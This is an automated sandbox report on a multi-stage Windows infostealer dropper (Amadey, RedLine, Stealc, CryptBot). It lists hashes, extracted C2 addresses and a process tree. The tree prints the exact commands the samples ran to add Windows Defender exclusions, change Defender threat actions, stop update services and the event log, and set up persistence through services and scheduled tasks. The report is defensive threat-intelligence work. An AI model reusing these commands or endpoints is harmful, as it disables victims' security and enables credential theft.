Overview

overview

10

Static

static

3

winprofile

windows7-x64

10

winprofile

windows10-1703-x64

10

Analysis

  • max time kernel
    299s
  • max time network
    302s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    16-09-2024 05:02

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    7059a1a683e7ed041174ecba67b4391ce48ef6081e0274dab604df701ed67188.exe

  • Size

    1.8MB

  • MD5

    f3f88a14e6e5081e102a150fca8d757f

  • SHA1

    3b98fc7ad8e6e13206a744964c1550ca32f397e2

  • SHA256

    7059a1a683e7ed041174ecba67b4391ce48ef6081e0274dab604df701ed67188

  • SHA512

    446bb3d54d0ec2e3fab690cfa042c5b5c02012d04167c56c1c8d312297ba7c0bc00fbf31c6840bc1a778ca5a4e697eb6ee89ec67f4a2d5f7e8ff955ec7cf9559

  • SSDEEP

    24576:2vXHanya2qCdIc9L8kSvefSQgsnBy5vaHvCVX0Cjy3ooNrH7VJZF0obXYrjFf3:SHanyashakMODA5vf0I+oqUQYrZf3

Score
10/10
amadeycryptbotredlinestealc@oleh_pspbundledefaultdefault2fed3aalivetraffictg cloud @rlreborn admin @fatherofcarderscredential_accessdefense_evasiondiscoveryevasionexecutioninfostealerpersistencespywarestealertrojan

Malware Config

Extracted

Family

amadey

Version

4.41

Botnet

fed3aa

C2

http://185.215.113.16

Attributes
  • install_dir

    44111dbc49

  • install_file

    axplong.exe

  • strings_key

    8d0ad6945b1a30a186ec2d30be6db0b5

  • url_paths

    /Jo89Ku7d/index.php

rc4.plain

Extracted

Family

redline

Botnet

LiveTraffic

C2

95.179.250.45:26212

Extracted

Family

redline

Botnet

@OLEH_PSP

C2

65.21.18.51:45580

Extracted

Family

stealc

Botnet

default2

C2

http://185.215.113.17

Attributes
  • url_path

    /2fb6c2cc8dce150a.php

Extracted

Family

stealc

Botnet

default

C2

http://91.202.233.158

Attributes
  • url_path

    /e96ea2db21fa9a1b.php

Extracted

Family

redline

Botnet

bundle

C2

185.215.113.67:15206

Extracted

Family

cryptbot

C2

fivevd5vs.top

analforeverlovyu.top
Attributes
  • url_path

    /v1/upload.php

Extracted

Family

redline

Botnet

TG CLOUD @RLREBORN Admin @FATHEROFCARDERS

C2

91.194.55.146:29862

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • CryptBot

    CryptBot is a C++ stealer distributed widely in bundle with other software.

    spywarestealercryptbot
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
    evasiontrojan
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 14 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • Windows security bypass 2 TTPs 40 IoCs
    evasiontrojan
  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

    credential_accessstealer
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
    evasion
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
    evasionexecution
  • Checks BIOS information in registry 2 TTPs 6 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 31 IoCs
  • Identifies Wine through registry keys 2 TTPs 2 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Indirect Command Execution 1 TTPs 19 IoCs

    Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

    defense_evasion
  • Loads dropped DLL 62 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops Chrome extension 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

    persistence
  • Drops file in System32 directory 30 IoCs
  • Enumerates processes with tasklist 1 TTPs 2 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Program Files directory 13 IoCs
  • Drops file in Windows directory 12 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 12 IoCs
    evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 14 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1208
      • C:\Users\Admin\AppData\Local\Temp\7059a1a683e7ed041174ecba67b4391ce48ef6081e0274dab604df701ed67188.exe
        "C:\Users\Admin\AppData\Local\Temp\7059a1a683e7ed041174ecba67b4391ce48ef6081e0274dab604df701ed67188.exe"
        2⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Identifies Wine through registry keys
        • Loads dropped DLL
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:2876
        • C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
          "C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe"
          3⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Loads dropped DLL
          • Adds Run key to start application
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Modifies system certificate store
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3052
          • C:\Users\Admin\AppData\Local\Temp\1000002001\gold.exe
            "C:\Users\Admin\AppData\Local\Temp\1000002001\gold.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2476
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies system certificate store
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:672
          • C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe
            "C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1136
            • C:\Users\Admin\AppData\Roaming\uhJRVH9Yat.exe
              "C:\Users\Admin\AppData\Roaming\uhJRVH9Yat.exe"
              5⤵
              • Executes dropped EXE
              • Modifies system certificate store
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2720
            • C:\Users\Admin\AppData\Roaming\GJvoweHTtN.exe
              "C:\Users\Admin\AppData\Roaming\GJvoweHTtN.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2172
          • C:\Users\Admin\AppData\Local\Temp\1000005001\Nework.exe
            "C:\Users\Admin\AppData\Local\Temp\1000005001\Nework.exe"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Drops file in Windows directory
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of WriteProcessMemory
            PID:908
            • C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
              "C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe"
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:584
              • C:\Users\Admin\AppData\Local\Temp\1000045001\Office2024.exe
                "C:\Users\Admin\AppData\Local\Temp\1000045001\Office2024.exe"
                6⤵
                • Executes dropped EXE
                • Drops file in System32 directory
                • Suspicious behavior: EnumeratesProcesses
                PID:2772
                • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                  7⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:2228
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                  7⤵
                    PID:2128
                    • C:\Windows\system32\wusa.exe
                      wusa /uninstall /kb:890830 /quiet /norestart
                      8⤵
                      • Drops file in Windows directory
                      PID:1956
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe stop UsoSvc
                    7⤵
                    • Launches sc.exe
                    PID:2728
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe stop WaaSMedicSvc
                    7⤵
                    • Launches sc.exe
                    PID:1996
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe stop wuauserv
                    7⤵
                    • Launches sc.exe
                    PID:844
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe stop bits
                    7⤵
                    • Launches sc.exe
                    PID:316
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe stop dosvc
                    7⤵
                    • Launches sc.exe
                    PID:1020
                  • C:\Windows\system32\powercfg.exe
                    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                    7⤵
                    • Power Settings
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2264
                  • C:\Windows\system32\powercfg.exe
                    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                    7⤵
                    • Power Settings
                    • Suspicious use of AdjustPrivilegeToken
                    PID:892
                  • C:\Windows\system32\powercfg.exe
                    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                    7⤵
                    • Power Settings
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1836
                  • C:\Windows\system32\powercfg.exe
                    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                    7⤵
                    • Power Settings
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2200
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe delete "QKJNEQWA"
                    7⤵
                    • Launches sc.exe
                    PID:2256
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe create "QKJNEQWA" binpath= "C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe" start= "auto"
                    7⤵
                    • Launches sc.exe
                    PID:1716
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe stop eventlog
                    7⤵
                    • Launches sc.exe
                    PID:2344
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe start "QKJNEQWA"
                    7⤵
                    • Launches sc.exe
                    PID:2668
            • C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default2.exe
              "C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default2.exe"
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              • Checks processor information in registry
              • Suspicious behavior: EnumeratesProcesses
              PID:1848
            • C:\Users\Admin\AppData\Local\Temp\1000129001\2.exe
              "C:\Users\Admin\AppData\Local\Temp\1000129001\2.exe"
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Checks processor information in registry
              PID:2652
              • C:\Users\Admin\AppData\Local\Temp\service123.exe
                "C:\Users\Admin\AppData\Local\Temp\service123.exe"
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:1584
              • C:\Windows\SysWOW64\schtasks.exe
                "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\Admin\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
                5⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2364
            • C:\Users\Admin\AppData\Local\Temp\1000191001\needmoney.exe
              "C:\Users\Admin\AppData\Local\Temp\1000191001\needmoney.exe"
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:2180
              • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                5⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:2868
            • C:\Users\Admin\AppData\Local\Temp\1000254001\penis.exe
              "C:\Users\Admin\AppData\Local\Temp\1000254001\penis.exe"
              4⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2696
            • C:\Users\Admin\AppData\Local\Temp\1000259001\bundle.exe
              "C:\Users\Admin\AppData\Local\Temp\1000259001\bundle.exe"
              4⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2780
            • C:\Users\Admin\AppData\Local\Temp\1000284001\acentric.exe
              "C:\Users\Admin\AppData\Local\Temp\1000284001\acentric.exe"
              4⤵
              • Executes dropped EXE
              • Adds Run key to start application
              • Suspicious use of AdjustPrivilegeToken
              PID:484
            • C:\Users\Admin\AppData\Local\Temp\1000285001\2.exe
              "C:\Users\Admin\AppData\Local\Temp\1000285001\2.exe"
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:2108
            • C:\Users\Admin\AppData\Local\Temp\1000287001\splwow64.exe
              "C:\Users\Admin\AppData\Local\Temp\1000287001\splwow64.exe"
              4⤵
              • Executes dropped EXE
              • Drops file in Windows directory
              PID:2628
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c move Emotions Emotions.bat & Emotions.bat
                5⤵
                • Loads dropped DLL
                PID:2408
                • C:\Windows\SysWOW64\tasklist.exe
                  tasklist
                  6⤵
                  • Enumerates processes with tasklist
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2716
                • C:\Windows\SysWOW64\findstr.exe
                  findstr /I "wrsa opssvc"
                  6⤵
                  • System Location Discovery: System Language Discovery
                  PID:1516
                • C:\Windows\SysWOW64\tasklist.exe
                  tasklist
                  6⤵
                  • Enumerates processes with tasklist
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2500
                • C:\Windows\SysWOW64\findstr.exe
                  findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"
                  6⤵
                  • System Location Discovery: System Language Discovery
                  PID:2640
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c md 607698
                  6⤵
                  • System Location Discovery: System Language Discovery
                  PID:1100
                • C:\Windows\SysWOW64\findstr.exe
                  findstr /V "MaskBathroomCompositionInjection" Participants
                  6⤵
                    PID:2904
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c copy /b ..\Navy + ..\Temperature + ..\Streaming + ..\Ashley + ..\Ensures + ..\Language + ..\Viruses + ..\Bet + ..\Fla + ..\Asbestos + ..\Width Q
                    6⤵
                      PID:2140
                    • C:\Users\Admin\AppData\Local\Temp\607698\Waters.pif
                      Waters.pif Q
                      6⤵
                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                      • Executes dropped EXE
                      • Modifies system certificate store
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of FindShellTrayWindow
                      • Suspicious use of SendNotifyMessage
                      PID:2328
                    • C:\Windows\SysWOW64\choice.exe
                      choice /d y /t 5
                      6⤵
                      • System Location Discovery: System Language Discovery
                      PID:1620
                • C:\Users\Admin\AppData\Local\Temp\1000290001\crypted.exe
                  "C:\Users\Admin\AppData\Local\Temp\1000290001\crypted.exe"
                  4⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  PID:2428
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                    5⤵
                      PID:760
                  • C:\Users\Admin\AppData\Local\Temp\1000293001\385121.exe
                    "C:\Users\Admin\AppData\Local\Temp\1000293001\385121.exe"
                    4⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:2936
                    • C:\Users\Admin\AppData\Local\Temp\7zS4B91.tmp\Install.exe
                      .\Install.exe
                      5⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • System Location Discovery: System Language Discovery
                      PID:2556
                      • C:\Users\Admin\AppData\Local\Temp\7zS4D65.tmp\Install.exe
                        .\Install.exe /sdidaXH "385121" /S
                        6⤵
                        • Checks BIOS information in registry
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Enumerates system info in registry
                        PID:952
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                          7⤵
                            PID:2784
                            • C:\Windows\SysWOW64\forfiles.exe
                              forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                              8⤵
                              • Indirect Command Execution
                              PID:2716
                              • C:\Windows\SysWOW64\cmd.exe
                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                9⤵
                                  PID:2384
                                  • \??\c:\windows\SysWOW64\reg.exe
                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                    10⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:2956
                              • C:\Windows\SysWOW64\forfiles.exe
                                forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                8⤵
                                • Indirect Command Execution
                                PID:1520
                                • C:\Windows\SysWOW64\cmd.exe
                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                  9⤵
                                    PID:2928
                                    • \??\c:\windows\SysWOW64\reg.exe
                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                      10⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:2500
                                • C:\Windows\SysWOW64\forfiles.exe
                                  forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                  8⤵
                                  • Indirect Command Execution
                                  • System Location Discovery: System Language Discovery
                                  PID:2432
                                  • C:\Windows\SysWOW64\cmd.exe
                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                    9⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:2872
                                    • \??\c:\windows\SysWOW64\reg.exe
                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                      10⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:2864
                                • C:\Windows\SysWOW64\forfiles.exe
                                  forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                  8⤵
                                  • Indirect Command Execution
                                  PID:1316
                                  • C:\Windows\SysWOW64\cmd.exe
                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                    9⤵
                                      PID:2644
                                      • \??\c:\windows\SysWOW64\reg.exe
                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                        10⤵
                                          PID:1572
                                    • C:\Windows\SysWOW64\forfiles.exe
                                      forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                      8⤵
                                      • Indirect Command Execution
                                      • System Location Discovery: System Language Discovery
                                      PID:1136
                                      • C:\Windows\SysWOW64\cmd.exe
                                        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                        9⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:1944
                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                          powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                          10⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          • Drops file in System32 directory
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:2360
                                          • C:\Windows\SysWOW64\gpupdate.exe
                                            "C:\Windows\system32\gpupdate.exe" /force
                                            11⤵
                                              PID:1036
                                    • C:\Windows\SysWOW64\forfiles.exe
                                      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m ping.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                      7⤵
                                      • Indirect Command Execution
                                      • System Location Discovery: System Language Discovery
                                      PID:2676
                                      • C:\Windows\SysWOW64\cmd.exe
                                        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                        8⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:2040
                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                          powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                          9⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          • Drops file in System32 directory
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:1716
                                          • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                            "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                            10⤵
                                            • System Location Discovery: System Language Discovery
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:2404
                                    • C:\Windows\SysWOW64\schtasks.exe
                                      schtasks /CREATE /TN "bmbXFarNlpbNUcjZUs" /SC once /ST 05:04:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ASUPEepcmoJTSZEuB\LEUXBcbvazrcGrF\GLGzunO.exe\" NE /nudidi 385121 /S" /V1 /F
                                      7⤵
                                      • Drops file in Windows directory
                                      • System Location Discovery: System Language Discovery
                                      • Scheduled Task/Job: Scheduled Task
                                      PID:1856
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 952 -s 548
                                      7⤵
                                      • Loads dropped DLL
                                      • Program crash
                                      PID:692
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c schtasks.exe /create /tn "Tuition" /tr "wscript //B 'C:\Users\Admin\AppData\Local\QuantumDynamics Lab\QuantumFlow.js'" /sc minute /mo 5 /F
                            2⤵
                              PID:2036
                              • C:\Windows\SysWOW64\schtasks.exe
                                schtasks.exe /create /tn "Tuition" /tr "wscript //B 'C:\Users\Admin\AppData\Local\QuantumDynamics Lab\QuantumFlow.js'" /sc minute /mo 5 /F
                                3⤵
                                • System Location Discovery: System Language Discovery
                                • Scheduled Task/Job: Scheduled Task
                                PID:2848
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QuantumFlow.url" & echo URL="C:\Users\Admin\AppData\Local\QuantumDynamics Lab\QuantumFlow.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QuantumFlow.url" & exit
                              2⤵
                              • Drops startup file
                              PID:2340
                          • C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe
                            C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe
                            1⤵
                            • Executes dropped EXE
                            • Drops file in System32 directory
                            • Suspicious use of SetThreadContext
                            • Suspicious behavior: EnumeratesProcesses
                            PID:1732
                            • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                              C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                              2⤵
                              • Command and Scripting Interpreter: PowerShell
                              • Drops file in System32 directory
                              • Modifies data under HKEY_USERS
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1656
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                              2⤵
                                PID:1584
                                • C:\Windows\system32\wusa.exe
                                  wusa /uninstall /kb:890830 /quiet /norestart
                                  3⤵
                                  • Drops file in Windows directory
                                  PID:2712
                              • C:\Windows\system32\sc.exe
                                C:\Windows\system32\sc.exe stop UsoSvc
                                2⤵
                                • Launches sc.exe
                                PID:1668
                              • C:\Windows\system32\sc.exe
                                C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                2⤵
                                • Launches sc.exe
                                PID:2292
                              • C:\Windows\system32\sc.exe
                                C:\Windows\system32\sc.exe stop wuauserv
                                2⤵
                                • Launches sc.exe
                                PID:2804
                              • C:\Windows\system32\sc.exe
                                C:\Windows\system32\sc.exe stop bits
                                2⤵
                                • Launches sc.exe
                                PID:2796
                              • C:\Windows\system32\sc.exe
                                C:\Windows\system32\sc.exe stop dosvc
                                2⤵
                                • Launches sc.exe
                                PID:2716
                              • C:\Windows\system32\powercfg.exe
                                C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                2⤵
                                • Power Settings
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2952
                              • C:\Windows\system32\powercfg.exe
                                C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                2⤵
                                • Power Settings
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1948
                              • C:\Windows\system32\powercfg.exe
                                C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                2⤵
                                • Power Settings
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1768
                              • C:\Windows\system32\powercfg.exe
                                C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                2⤵
                                • Power Settings
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2176
